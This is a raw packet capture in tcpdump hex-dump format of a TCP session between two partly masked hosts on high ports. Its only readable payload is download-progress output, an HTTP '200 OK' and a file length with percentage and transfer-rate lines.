0x0000      4500 003a 9e25 4000 4006 6b5d 800a 097d  E..:.%@.@.k]...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08c4 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 5d05 0000 0101 080a 0080 9fa4  ....]...........
0x0030      0087 664a 3230 3020 4f4b                 ..fJ200.OK
11:41:35.428067 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 347:353(6) ack 96 win 5792 <nop,nop,timestamp 8429476 8873546> (DF)
0x0000      4500 003a 9e25 4000 4006 6b5d 800a 097d  E..:.%@.@.k]...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08c4 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 5d05 0000 0101 080a 0080 9fa4  ....]...........
0x0030      0087 664a 3230 3020 4f4b                 ..fJ200.OK
11:41:35.589142 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 353 win 6432 <nop,nop,timestamp 8873662 8429476> (DF)
0x0000      4500 0034 4693 4000 2f06 d3f5 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08ca  ...}.e..i..Oo...
0x0020      8010 1920 0bb5 0000 0101 080a 0087 66be  ..............f.
0x0030      0080 9fa4                                ....
11:41:35.589728 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 353:393(40) ack 96 win 5792 <nop,nop,timestamp 8429492 8873662> (DF)
0x0000      4500 005c 9e26 4000 4006 6b3a 800a 097d  E..\.&@.@.k:...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08ca 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 e777 0000 0101 080a 0080 9fb4  .....w..........
0x0030      0087 66be 0a4c 656e 6774 683a 2032 3435  ..f..Length:.245
0x0040      2c35 3339 205b 7465 7874 2f70 6c61 696e  ,539.[text/plain
0x0050      5d0a 0a20 2020 2030 4b20 2e2e            ]......0K...
11:41:35.589735 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 353:393(40) ack 96 win 5792 <nop,nop,timestamp 8429492 8873662> (DF)
0x0000      4500 005c 9e26 4000 4006 6b3a 800a 097d  E..\.&@.@.k:...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08ca 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 e777 0000 0101 080a 0080 9fb4  .....w..........
0x0030      0087 66be 0a4c 656e 6774 683a 2032 3435  ..f..Length:.245
0x0040      2c35 3339 205b 7465 7874 2f70 6c61 696e  ,539.[text/plain
0x0050      5d0a 0a20 2020 2030 4b20 2e2e            ]......0K...
11:41:35.751464 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 393 win 6432 <nop,nop,timestamp 8873745 8429492> (DF)
0x0000      4500 0034 4694 4000 2f06 d3f4 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08f2  ...}.e..i..Oo...
0x0020      8010 1920 0b2a 0000 0101 080a 0087 6711  .....*........g.
0x0030      0080 9fb4                                ....
11:41:35.828668 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 393:394(1) ack 96 win 5792 <nop,nop,timestamp 8429516 8873745> (DF)
0x0000      4500 0035 9e27 4000 4006 6b60 800a 097d  E..5.'@.@.k`...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f2 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 df88 0000 0101 080a 0080 9fcc  ................
0x0030      0087 6711 2e                             ..g..
11:41:35.828674 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 393:394(1) ack 96 win 5792 <nop,nop,timestamp 8429516 8873745> (DF)
0x0000      4500 0035 9e27 4000 4006 6b60 800a 097d  E..5.'@.@.k`...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f2 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 df88 0000 0101 080a 0080 9fcc  ................
0x0030      0087 6711 2e                             ..g..
11:41:35.991105 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 394 win 6432 <nop,nop,timestamp 8873867 8429516> (DF)
0x0000      4500 0034 4695 4000 2f06 d3f3 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08f3  ...}.e..i..Oo...
0x0020      8010 1920 0a97 0000 0101 080a 0087 678b  ..............g.
0x0030      0080 9fcc                                ....
11:41:35.991680 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 394:399(5) ack 96 win 5792 <nop,nop,timestamp 8429532 8873867> (DF)
0x0000      4500 0039 9e28 4000 4006 6b5b 800a 097d  E..9.(@.@.k[...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f3 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 829d 0000 0101 080a 0080 9fdc  ................
0x0030      0087 678b 2e2e 2e2e 2e                   ..g......
11:41:35.991687 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 394:399(5) ack 96 win 5792 <nop,nop,timestamp 8429532 8873867> (DF)
0x0000      4500 0039 9e28 4000 4006 6b5b 800a 097d  E..9.(@.@.k[...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f3 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 829d 0000 0101 080a 0080 9fdc  ................
0x0030      0087 678b 2e2e 2e2e 2e                   ..g......
11:41:36.153387 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 399 win 6432 <nop,nop,timestamp 8873951 8429532> (DF)
0x0000      4500 0034 4696 4000 2f06 d3f2 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08f8  ...}.e..i..Oo...
0x0020      8010 1920 0a2e 0000 0101 080a 0087 67df  ..............g.
0x0030      0080 9fdc                                ....
11:41:36.204951 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 399:400(1) ack 96 win 5792 <nop,nop,timestamp 8429555 8873951> (DF)
0x0000      4500 0035 9e29 4000 4006 6b5e 800a 097d  E..5.)@.@.k^...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f8 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 de8d 0000 0101 080a 0080 9ff3  ................
0x0030      0087 67df 2e                             ..g..
11:41:36.204957 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 399:400(1) ack 96 win 5792 <nop,nop,timestamp 8429555 8873951> (DF)
0x0000      4500 0035 9e29 4000 4006 6b5e 800a 097d  E..5.)@.@.k^...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f8 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 de8d 0000 0101 080a 0080 9ff3  ................
0x0030      0087 67df 2e                             ..g..
11:41:36.365411 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 400 win 6432 <nop,nop,timestamp 8874060 8429555> (DF)
0x0000      4500 0034 4697 4000 2f06 d3f1 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 08f9  ...}.e..i..Oo...
0x0020      8010 1920 09a9 0000 0101 080a 0087 684c  ..............hL
0x0030      0080 9ff3                                ....
11:41:36.365969 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 400:408(8) ack 96 win 5792 <nop,nop,timestamp 8429573 8874060> (DF)
0x0000      4500 003c 9e2a 4000 4006 6b56 800a 097d  E..<.*@.@.kV...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f9 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 535c 0000 0101 080a 0080 a005  ....S\..........
0x0030      0087 684c 2e20 2e2e 2e2e 2e2e            ..hL........
11:41:36.365975 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 400:408(8) ack 96 win 5792 <nop,nop,timestamp 8429573 8874060> (DF)
0x0000      4500 003c 9e2a 4000 4006 6b56 800a 097d  E..<.*@.@.kV...}
0x0010      3e10 69a4 b0ef 8565 6fd0 08f9 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 535c 0000 0101 080a 0080 a005  ....S\..........
0x0030      0087 684c 2e20 2e2e 2e2e 2e2e            ..hL........
11:41:36.526799 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 408 win 6432 <nop,nop,timestamp 8874142 8429573> (DF)
0x0000      4500 0034 4698 4000 2f06 d3f0 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0901  ...}.e..i..Oo...
0x0020      8010 1920 093d 0000 0101 080a 0087 689e  .....=........h.
0x0030      0080 a005                                ....
11:41:36.576790 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 408:409(1) ack 96 win 5792 <nop,nop,timestamp 8429595 8874142> (DF)
0x0000      4500 0035 9e2b 4000 4006 6b5c 800a 097d  E..5.+@.@.k\...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0901 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 dd9d 0000 0101 080a 0080 a01b  ................
0x0030      0087 689e 2e                             ..h..
11:41:36.576796 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 408:409(1) ack 96 win 5792 <nop,nop,timestamp 8429595 8874142> (DF)
0x0000      4500 0035 9e2b 4000 4006 6b5c 800a 097d  E..5.+@.@.k\...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0901 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 dd9d 0000 0101 080a 0080 a01b  ................
0x0030      0087 689e 2e                             ..h..
11:41:36.737969 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 409 win 6432 <nop,nop,timestamp 8874250 8429595> (DF)
0x0000      4500 0034 4699 4000 2f06 d3ef 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0902  ...}.e..i..Oo...
0x0020      8010 1920 08ba 0000 0101 080a 0087 690a  ..............i.
0x0030      0080 a01b                                ....
11:41:36.738082 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 409:425(16) ack 96 win 5792 <nop,nop,timestamp 8429611 8874250> (DF)
0x0000      4500 0044 9e2c 4000 4006 6b4c 800a 097d  E..D.,@.@.kL...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0902 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 a7ae 0000 0101 080a 0080 a02b  ...............+
0x0030      0087 690a 2e2e 2e20 2e2e 2e2e 2e2e 2e2e  ..i.............
0x0040      2e2e 202e                                ....
11:41:36.738086 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 409:425(16) ack 96 win 5792 <nop,nop,timestamp 8429611 8874250> (DF)
0x0000      4500 0044 9e2c 4000 4006 6b4c 800a 097d  E..D.,@.@.kL...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0902 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 a7ae 0000 0101 080a 0080 a02b  ...............+
0x0030      0087 690a 2e2e 2e20 2e2e 2e2e 2e2e 2e2e  ..i.............
0x0040      2e2e 202e                                ....
11:41:36.900133 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 425 win 6432 <nop,nop,timestamp 8874333 8429611> (DF)
0x0000      4500 0034 469a 4000 2f06 d3ee 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0912  ...}.e..i..Oo...
0x0020      8010 1920 0847 0000 0101 080a 0087 695d  .....G........i]
0x0030      0080 a02b                                ...+
11:41:36.944919 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 425:426(1) ack 96 win 5792 <nop,nop,timestamp 8429632 8874333> (DF)
0x0000      4500 0035 9e2d 4000 4006 6b5a 800a 097d  E..5.-@.@.kZ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0912 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 dca8 0000 0101 080a 0080 a040  ...............@
0x0030      0087 695d 2e                             ..i].
11:41:36.944921 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 425:426(1) ack 96 win 5792 <nop,nop,timestamp 8429632 8874333> (DF)
0x0000      4500 0035 9e2d 4000 4006 6b5a 800a 097d  E..5.-@.@.kZ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0912 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 dca8 0000 0101 080a 0080 a040  ...............@
0x0030      0087 695d 2e                             ..i].
11:41:37.106437 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 426 win 6432 <nop,nop,timestamp 8874439 8429632> (DF)
0x0000      4500 0034 469b 4000 2f06 d3ed 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0913  ...}.e..i..Oo...
0x0020      8010 1920 07c7 0000 0101 080a 0087 69c7  ..............i.
0x0030      0080 a040                                ...@
11:41:37.106654 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 426:472(46) ack 96 win 5792 <nop,nop,timestamp 8429648 8874439> (DF)
0x0000      4500 0062 9e2e 4000 4006 6b2c 800a 097d  E..b..@.@.k,...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0913 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 c1e4 0000 0101 080a 0080 a050  ...............P
0x0030      0087 69c7 2e2e 2e2e 2e2e 2e2e 202e 2e2e  ..i.............
0x0040      2e2e 2e2e 2e2e 2e20 3230 2520 4020 2033  ........20%.@..3
0x0050      312e 3937 204b 422f 730a 2020 2035 304b  1.97.KB/s....50K
0x0060      202e                                     ..
11:41:37.106658 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 426:472(46) ack 96 win 5792 <nop,nop,timestamp 8429648 8874439> (DF)
0x0000      4500 0062 9e2e 4000 4006 6b2c 800a 097d  E..b..@.@.k,...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0913 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 c1e4 0000 0101 080a 0080 a050  ...............P
0x0030      0087 69c7 2e2e 2e2e 2e2e 2e2e 202e 2e2e  ..i.............
0x0040      2e2e 2e2e 2e2e 2e20 3230 2520 4020 2033  ........20%.@..3
0x0050      312e 3937 204b 422f 730a 2020 2035 304b  1.97.KB/s....50K
0x0060      202e                                     ..
11:41:37.270055 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 472 win 6432 <nop,nop,timestamp 8874522 8429648> (DF)
0x0000      4500 0034 469c 4000 2f06 d3ec 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0941  ...}.e..i..Oo..A
0x0020      8010 1920 0736 0000 0101 080a 0087 6a1a  .....6........j.
0x0030      0080 a050                                ...P
11:41:37.335025 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 472:473(1) ack 96 win 5792 <nop,nop,timestamp 8429671 8874522> (DF)
0x0000      4500 0035 9e2f 4000 4006 6b58 800a 097d  E..5./@.@.kX...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0941 6904 014f  >.i....eo..Ai..O
0x0020      8018 16a0 db95 0000 0101 080a 0080 a067  ...............g
0x0030      0087 6a1a 2e                             ..j..
11:41:37.335028 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 472:473(1) ack 96 win 5792 <nop,nop,timestamp 8429671 8874522> (DF)
0x0000      4500 0035 9e2f 4000 4006 6b58 800a 097d  E..5./@.@.kX...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0941 6904 014f  >.i....eo..Ai..O
0x0020      8018 16a0 db95 0000 0101 080a 0080 a067  ...............g
0x0030      0087 6a1a 2e                             ..j..
11:41:37.495671 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 473 win 6432 <nop,nop,timestamp 8874639 8429671> (DF)
0x0000      4500 0034 469d 4000 2f06 d3eb 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0942  ...}.e..i..Oo..B
0x0020      8010 1920 06a9 0000 0101 080a 0087 6a8f  ..............j.
0x0030      0080 a067                                ...g
11:41:37.495893 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 473:499(26) ack 96 win 5792 <nop,nop,timestamp 8429687 8874639> (DF)
0x0000      4500 004e 9e30 4000 4006 6b3e 800a 097d  E..N.0@.@.k>...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0942 6904 014f  >.i....eo..Bi..O
0x0020      8018 16a0 beac 0000 0101 080a 0080 a077  ...............w
0x0030      0087 6a8f 2e2e 2e2e 2e2e 2e2e 202e 2e2e  ..j.............
0x0040      2e2e 2e2e 2e2e 2e20 2e2e 2e2e 2e2e       ..............
11:41:37.495898 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 473:499(26) ack 96 win 5792 <nop,nop,timestamp 8429687 8874639> (DF)
0x0000      4500 004e 9e30 4000 4006 6b3e 800a 097d  E..N.0@.@.k>...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0942 6904 014f  >.i....eo..Bi..O
0x0020      8018 16a0 beac 0000 0101 080a 0080 a077  ...............w
0x0030      0087 6a8f 2e2e 2e2e 2e2e 2e2e 202e 2e2e  ..j.............
0x0040      2e2e 2e2e 2e2e 2e20 2e2e 2e2e 2e2e       ..............
11:41:37.658706 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 499 win 6432 <nop,nop,timestamp 8874721 8429687> (DF)
0x0000      4500 0034 469e 4000 2f06 d3ea 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 095c  ...}.e..i..Oo..\
0x0020      8010 1920 062d 0000 0101 080a 0087 6ae1  .....-........j.
0x0030      0080 a077                                ...w
11:41:37.665701 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 499:500(1) ack 96 win 5792 <nop,nop,timestamp 8429704 8874721> (DF)
0x0000      4500 0035 9e31 4000 4006 6b56 800a 097d  E..5.1@.@.kV...}
0x0010      3e10 69a4 b0ef 8565 6fd0 095c 6904 014f  >.i....eo..\i..O
0x0020      8018 16a0 da92 0000 0101 080a 0080 a088  ................
0x0030      0087 6ae1 2e                             ..j..
11:41:37.665704 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 499:500(1) ack 96 win 5792 <nop,nop,timestamp 8429704 8874721> (DF)
0x0000      4500 0035 9e31 4000 4006 6b56 800a 097d  E..5.1@.@.kV...}
0x0010      3e10 69a4 b0ef 8565 6fd0 095c 6904 014f  >.i....eo..\i..O
0x0020      8018 16a0 da92 0000 0101 080a 0080 a088  ................
0x0030      0087 6ae1 2e                             ..j..
11:41:37.827276 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 500 win 6432 <nop,nop,timestamp 8874808 8429704> (DF)
0x0000      4500 0034 469f 4000 2f06 d3e9 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 095d  ...}.e..i..Oo..]
0x0020      8010 1920 05c4 0000 0101 080a 0087 6b38  ..............k8
0x0030      0080 a088                                ....
11:41:37.827650 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 500:559(59) ack 96 win 5792 <nop,nop,timestamp 8429720 8874808> (DF)
0x0000      4500 006f 9e32 4000 4006 6b1b 800a 097d  E..o.2@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 095d 6904 014f  >.i....eo..]i..O
0x0020      8018 16a0 6fd2 0000 0101 080a 0080 a098  ....o...........
0x0030      0087 6b38 2e2e 2e20 2e2e 2e2e 2e2e 2e2e  ..k8............
0x0040      2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 3431  ..............41
0x0050      2520 4020 2037 302e 3432 204b 422f 730a  %.@..70.42.KB/s.
0x0060      2020 3130 304b 202e 2e2e 2e2e 2e2e 2e    ..100K.........
11:41:37.827655 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 500:559(59) ack 96 win 5792 <nop,nop,timestamp 8429720 8874808> (DF)
0x0000      4500 006f 9e32 4000 4006 6b1b 800a 097d  E..o.2@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 095d 6904 014f  >.i....eo..]i..O
0x0020      8018 16a0 6fd2 0000 0101 080a 0080 a098  ....o...........
0x0030      0087 6b38 2e2e 2e20 2e2e 2e2e 2e2e 2e2e  ..k8............
0x0040      2e2e 202e 2e2e 2e2e 2e2e 2e2e 2e20 3431  ..............41
0x0050      2520 4020 2037 302e 3432 204b 422f 730a  %.@..70.42.KB/s.
0x0060      2020 3130 304b 202e 2e2e 2e2e 2e2e 2e    ..100K.........
11:41:37.988389 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 559 win 6432 <nop,nop,timestamp 8874891 8429720> (DF)
0x0000      4500 0034 46a0 4000 2f06 d3e8 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0998  ...}.e..i..Oo...
0x0020      8010 1920 0526 0000 0101 080a 0087 6b8b  .....&........k.
0x0030      0080 a098                                ....
11:41:38.056444 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 559:560(1) ack 96 win 5792 <nop,nop,timestamp 8429743 8874891> (DF)
0x0000      4500 0035 9e33 4000 4006 6b54 800a 097d  E..5.3@.@.kT...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0998 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 d985 0000 0101 080a 0080 a0af  ................
0x0030      0087 6b8b 2e                             ..k..
11:41:38.056446 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 559:560(1) ack 96 win 5792 <nop,nop,timestamp 8429743 8874891> (DF)
0x0000      4500 0035 9e33 4000 4006 6b54 800a 097d  E..5.3@.@.kT...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0998 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 d985 0000 0101 080a 0080 a0af  ................
0x0030      0087 6b8b 2e                             ..k..
11:41:38.217059 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 560 win 6432 <nop,nop,timestamp 8875008 8429743> (DF)
0x0000      4500 0034 46a1 4000 2f06 d3e7 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0999  ...}.e..i..Oo...
0x0020      8010 1920 0499 0000 0101 080a 0087 6c00  ..............l.
0x0030      0080 a0af                                ....
11:41:38.217358 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 560:600(40) ack 96 win 5792 <nop,nop,timestamp 8429759 8875008> (DF)
0x0000      4500 005c 9e34 4000 4006 6b2c 800a 097d  E..\.4@.@.k,...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0999 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 8759 0000 0101 080a 0080 a0bf  .....Y..........
0x0030      0087 6c00 2e20 2e2e 2e2e 2e2e 2e2e 2e2e  ..l.............
0x0040      202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e 2e2e  ................
0x0050      2e2e 2e2e 2e2e 202e 2e2e 2e2e            ............
11:41:38.217363 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 560:600(40) ack 96 win 5792 <nop,nop,timestamp 8429759 8875008> (DF)
0x0000      4500 005c 9e34 4000 4006 6b2c 800a 097d  E..\.4@.@.k,...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0999 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 8759 0000 0101 080a 0080 a0bf  .....Y..........
0x0030      0087 6c00 2e20 2e2e 2e2e 2e2e 2e2e 2e2e  ..l.............
0x0040      202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e 2e2e  ................
0x0050      2e2e 2e2e 2e2e 202e 2e2e 2e2e            ............
11:41:38.378694 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 600 win 6432 <nop,nop,timestamp 8875091 8429759> (DF)
0x0000      4500 0034 46a2 4000 2f06 d3e6 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 09c1  ...}.e..i..Oo...
0x0020      8010 1920 040e 0000 0101 080a 0087 6c53  ..............lS
0x0030      0080 a0bf                                ....
11:41:38.379011 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 600:669(69) ack 96 win 5792 <nop,nop,timestamp 8429775 8875091> (DF)
0x0000      4500 0079 9e35 4000 4006 6b0e 800a 097d  E..y.5@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 09c1 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 8333 0000 0101 080a 0080 a0cf  .....3..........
0x0030      0087 6c53 2e2e 2e2e 2e20 3632 2520 4020  ..lS......62%.@.
0x0040      2037 302e 3632 204b 422f 730a 2020 3135  .70.62.KB/s...15
0x0050      304b 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e  0K..............
0x0060      2e2e 2e2e 2e2e 2e2e 202e 2e2e 2e2e 2e2e  ................
0x0070      2e2e 2e20 2e2e 2e2e 2e                   .........
11:41:38.379016 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 600:669(69) ack 96 win 5792 <nop,nop,timestamp 8429775 8875091> (DF)
0x0000      4500 0079 9e35 4000 4006 6b0e 800a 097d  E..y.5@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 09c1 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 8333 0000 0101 080a 0080 a0cf  .....3..........
0x0030      0087 6c53 2e2e 2e2e 2e20 3632 2520 4020  ..lS......62%.@.
0x0040      2037 302e 3632 204b 422f 730a 2020 3135  .70.62.KB/s...15
0x0050      304b 202e 2e2e 2e2e 2e2e 2e2e 2e20 2e2e  0K..............
0x0060      2e2e 2e2e 2e2e 2e2e 202e 2e2e 2e2e 2e2e  ................
0x0070      2e2e 2e20 2e2e 2e2e 2e                   .........
11:41:38.540165 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 669 win 6432 <nop,nop,timestamp 8875173 8429775> (DF)
0x0000      4500 0034 46a3 4000 2f06 d3e5 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0a06  ...}.e..i..Oo...
0x0020      8010 1920 0367 0000 0101 080a 0087 6ca5  .....g........l.
0x0030      0080 a0cf                                ....
11:41:38.540314 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 669:677(8) ack 96 win 5792 <nop,nop,timestamp 8429791 8875173> (DF)
0x0000      4500 003c 9e36 4000 4006 6b4a 800a 097d  E..<.6@.@.kJ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a06 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 4d1c 0000 0101 080a 0080 a0df  ....M...........
0x0030      0087 6ca5 2e2e 2e2e 2e20 2e2e            ..l.........
11:41:38.540318 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 669:677(8) ack 96 win 5792 <nop,nop,timestamp 8429791 8875173> (DF)
0x0000      4500 003c 9e36 4000 4006 6b4a 800a 097d  E..<.6@.@.kJ...}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a06 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 4d1c 0000 0101 080a 0080 a0df  ....M...........
0x0030      0087 6ca5 2e2e 2e2e 2e20 2e2e            ..l.........
11:41:38.701968 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 677 win 6432 <nop,nop,timestamp 8875256 8429791> (DF)
0x0000      4500 0034 46a4 4000 2f06 d3e4 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0a0e  ...}.e..i..Oo...
0x0020      8010 1920 02fc 0000 0101 080a 0087 6cf8  ..............l.
0x0030      0080 a0df                                ....
11:41:38.702205 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 677:731(54) ack 96 win 5792 <nop,nop,timestamp 8429807 8875256> (DF)
0x0000      4500 006a 9e37 4000 4006 6b1b 800a 097d  E..j.7@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a0e 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 3ef4 0000 0101 080a 0080 a0ef  ....>...........
0x0030      0087 6cf8 2e2e 2e2e 2e2e 2e2e 2038 3325  ..l..........83%
0x0040      2040 2031 3535 2e37 3620 4b42 2f73 0a20  .@.155.76.KB/s..
0x0050      2032 3030 4b20 2e2e 2e2e 2e2e 2e2e 2e2e  .200K...........
0x0060      202e 2e2e 2e2e 2e2e 2e2e                 ..........
11:41:38.702209 XXX.XX.X.137.45295 > XX.XX.XXX.164.34149: P 677:731(54) ack 96 win 5792 <nop,nop,timestamp 8429807 8875256> (DF)
0x0000      4500 006a 9e37 4000 4006 6b1b 800a 097d  E..j.7@.@.k....}
0x0010      3e10 69a4 b0ef 8565 6fd0 0a0e 6904 014f  >.i....eo...i..O
0x0020      8018 16a0 3ef4 0000 0101 080a 0080 a0ef  ....>...........
0x0030      0087 6cf8 2e2e 2e2e 2e2e 2e2e 2038 3325  ..l..........83%
0x0040      2040 2031 3535 2e37 3620 4b42 2f73 0a20  .@.155.76.KB/s..
0x0050      2032 3030 4b20 2e2e 2e2e 2e2e 2e2e 2e2e  .200K...........
0x0060      202e 2e2e 2e2e 2e2e 2e2e                 ..........
11:41:38.865496 XX.XX.XXX.164.34149 > XXX.XX.X.137.45295: . ack 731 win 6432 <nop,nop,timestamp 8875339 8429807> (DF)
0x0000      4500 0034 46a5 4000 2f06 d3e3 3e10 69a4  E..4F.@./...>.i.
0x0010      800a 097d 8565 b0ef 6904 014f 6fd0 0a44  ...}.e..i..Oo..D
0x0020      8010 1920 0263 0000 0101 080a 0087 6d4b  .....c........mK
0x0030      0080 a0ef                                ....
